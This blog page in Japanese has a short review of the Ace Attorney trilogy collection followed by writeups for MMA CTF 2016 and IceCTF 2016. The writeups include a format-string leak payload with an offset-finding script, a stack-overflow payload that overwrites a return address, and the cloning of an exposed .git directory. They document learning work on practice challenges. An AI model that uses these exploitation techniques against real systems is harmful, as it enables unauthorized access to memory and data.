逆転裁判123 成歩堂セレクション レビュー

紹介

 

逆転裁判123 成歩堂セレクション Best Price!
 

 

感想

 成歩堂龍一三部作が一本になったお得なソフトです。
裁判で証言の矛盾に証拠を突き付けて無罪に持ち込んでいくという変わったゲームです。
3DSソフトですが3D機能はいらんと思います笑。
レイトン教授VS逆転裁判」以外にこのシリーズをまともにプレイしたことがなかったので楽しみでした。
 
 一作目: 初逆転裁判と言ってもいい位でしたがすぐに作品に慣れることができました。
最終章に向けて伏線が収束していく感じが良くできていると思います。
蘇る逆転で追加されたエピソードでは科学捜査なんかも追加されていて従来の操作よりも能動的に楽しめるようになった気がします。
一番お気に入りのエピソードもやっぱ蘇る逆転ですね。
最後の突きつけのロジックは興奮ものでした。
真宵ちゃんかわいい。
 
 二作目:若干難易度up?というかごちゃごちゃした謎が増えて論理の飛躍が求められた気がします。
ストーリー的にも特筆すべきものもなかった気がします。
 
三作目:最終章に向けて物語が深くなっていきます。
新キャラクターたちと一作目からの因縁が混ざって三部作の集大成となる作品でした。
前作よりも難易度は下がって解いていて気持ちのいい謎が増えたのではないかと思います。
個人的には最終章の御剣VS狩魔の法廷バトルが好きですね。
歴代の敵が法廷で時間を稼いでくれるというバトル漫画の王道みたいでわくわくしました笑
 
 矛盾を指摘して謎を解くというのは他の作品では味わえない快感だと思うので謎解き、推理ゲームが好きな人には是非おすすめです。

こんな人にオススメ!

関連記事

MMA CTF 2nd 2016 writeup

f:id:HowMuch:20160905114239p:plain

SOLUTION

Judgement [pwn]

 指定されたサーバにncで接続するとFlagを聞かれる。 いろいろ試すとフォーマットストリングバグが見受けられるのでインフォメーションリークを狙う。

Flag judgment system
Input flag >> %08x
00000004
Wrong flag...

 次に配布されてる実行ファイルと、自前のflag.txtをローカルに用意して解析。

root@kali:~/ctf/mma/judgement# objdump -D judgement -M intel |grep flag
 80486f0:   e8 fe 00 00 00          call   80487f3 <load_flag>
080487f3 <load_flag>:
 8048813:   75 07                   jne    804881c <load_flag+0x29>
 804881a:   eb 4b                   jmp    8048867 <load_flag+0x74>
 8048837:   75 07                   jne    8048840 <load_flag+0x4d>
 804883e:   eb 27                   jmp    8048867 <load_flag+0x74>
 804885a:   74 06                   je     8048862 <load_flag+0x6f>
0804a0a0 <flag>:

それっぽい関数があるのでgdbで調べると0x804a0a0にFlagの文字列が置かれていることがわかる。

gdb-peda$ telescope
0000| 0xffffd330 --> 0xffffd3dc ("AAAA")
0004| 0xffffd334 --> 0x804a0a0 ("This is Flag!")
0008| 0xffffd338 --> 0xf7ffdaf0 --> 0xf7ffda94 --> 0xf7fb72b8 --> 0xf7ffd938 --> 0x0 
0012| 0xffffd33c --> 0xf7fb72e8 --> 0x8048397 ("GLIBC_2.0")
0016| 0xffffd340 --> 0x1 
0020| 0xffffd344 --> 0x1 
0024| 0xffffd348 --> 0x0 
0028| 0xffffd34c --> 0xa ('\n')

offsetを調べたいが、入力文字数に限界があるためスクリプトで調べる。

import sys, subprocess
n = int(sys.argv[1])
for i in range(n):
    offset = i
    p = "({}):%{}$p".format(offset, offset)
    payload = "AAAA"
    payload += p

    cmd = "echo \'{}\' | ./judgement".format(payload)
    subprocess.call(cmd, shell=True)
root@kali:~/ctf/mma/judgement# python genformat.py 100|grep 0x41414141
Input flag >> AAAA(43):0x41414141

定石通りにFlagを取り出そうとすると、printableでないバイナリデータは弾かれる。ここでいったん詰む...orz

root@kali:~/ctf/mma/judgement# python -c 'print("\xa0\xa0\x04\x08%43$s")'|./judgement 
Flag judgment system
Input flag >> Unprintable character

よく考えたら0x804a0a0という値が%sで参照できればいいだけなので、先ほどのスクリプトでこの値を探すと二か所見つかる。

root@kali:~/ctf/mma/judgement# python genformat.py 100|grep 0x804a0a0
Input flag >> AAAA(28):0x804a0a0
Input flag >> AAAA(32):0x804a0a0

よってoffset 28としてFlagが取れる。

Flag judgment system
Input flag >> %28$s
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...

Flag:TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

COMMENT

 正直Warmupの時点できつかった。まだまだ経験値が足りてないかな~という感じです。

 Cryptoも手付けたかったのに変なところで時間削って問題すら読めなくて残念。もっと時間配分とか集中力とか技術以外のところも検討してみる必要がある気がします。

 Web担当がチームに一人いてくれると助かるんだけどな~

IceCTF 2016 writeup

f:id:HowMuch:20160827195544p:plain

SOLUTION

Demo [pwn]

 指定された場所にdemo.cがあるので読んでみると、実行されたときのファイル名が「icesh」であればshellが取れることがわかる。

 lnコマンドで自分のディレクトリに「icesh」としてシンボリックリンクを作成して実行するとシェルが取れるのでflagが読める。

Smashing_Profit! [pwn]

gdbデバッグしてみると0x804850bに「flag.txt」を読み込んで表示してくれるflagなる関数が存在しているのでbofを利用してリターンアドレスを書き換えて実行する。

retAddr = "\x0b\x85\x04\x08" # 0x804850b
payload = "A" * 76
payload += retAddr
print(payload)

Flag: IceCTF{who_would_have_thunk?}

Rotated! [crypto]

 VprPGS{jnvg_bar_cyhf_1_vf_3?}をrot13で解読するだけ。

Flag:IceCTF{wait_one_plus_1_is_3?}

RSA? [crypto]

 RSA暗号だがe = 0x1であるので全く暗号化されていないというふざけた問題。

c = "4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d"
i = 0
try:
    while True:
        n = c[i]
        i += 1
        n += c[i]
        i += 1
        print(chr(int(n, 16)), end='')
except:
    print()
    pass

Flag:IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}

Spotlight [web]

デベロッパーツールを開くと、コンソールにflagを出力していた。 Flag:IceCTF{5tup1d_d3v5_w1th_th31r_l095}

Move Along

 表示されている画像データのおかれているディレクトリにブラウザからアクセスしたところ他にも覗けるデータがあった。

 その中にFlagの画像が隠されていた。

Flag:IceCTF{tH3_c4t_15_Ou7_oF_THe_b49}

Exposed! [web]

 「robots.txt」を除いたところ、「flag.php」が存在することが分かったのでアクセスしてみるも、何も表示されない。    「.git」も確認できるので、gitでwebをクローンしてlogを見る。

 どうやら「flag.txt」が途中でremoveされているらしいので、それより前の状態に戻して「flag.txt」を読んでFlagっぽいものが出てくるが、ダミーだったorz

 「index.php」に正解のFlagが隠されていたとチームメイトが見つけてくれたが、納得がいかないというかなぜそんなところに隠したんだよっていう。

All your Base are belong to us [misc]

 二進数のasciiで書かれたテキストがあるので、デコードするだけで終わり。

import sys
FILE_NAME = sys.argv[1]
with open(FILE_NAME, "r") as f:
    text = f.read() 

word_list = text.replace("\n", " ").split(" ")

for i in map(lambda x: chr(int(x, 2)), word_list[:-1]):
    print(i, end="")
print()

Flag:IceCTF{al1_my_bases_are_yours_and_all_y0ur_bases_are_mine}

IRC I [misc]

 LimeChatで指定されたIRCにアクセスして、それっぽいチャンネルをかたっぱしからのぞいていくと#78a99bb_flagshareでflagがshareされていた Flag:IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT}

Hidden in Plain Sight [binary]

 よく覚えていないがgdbアセンブリを読んだら、ascii範囲内のバイトがやり取りされていたのでそれを集めて表示したらFlagだったような気がする(適当)

COMMENT

 意外と解ける問題、食らいつける問題がちらほらあって楽しめた。 二週間近く開催されていたのに参加したのは終了数日前で、時間が取れない中問題に取り組まなければならなかったので、もっと早く始めておけば良かったという感想。 チームとしての連携もちょっとではあるが発揮できたし、数か月前なら手も足も出ない問題が解けたりして成長が感じられてうれしい。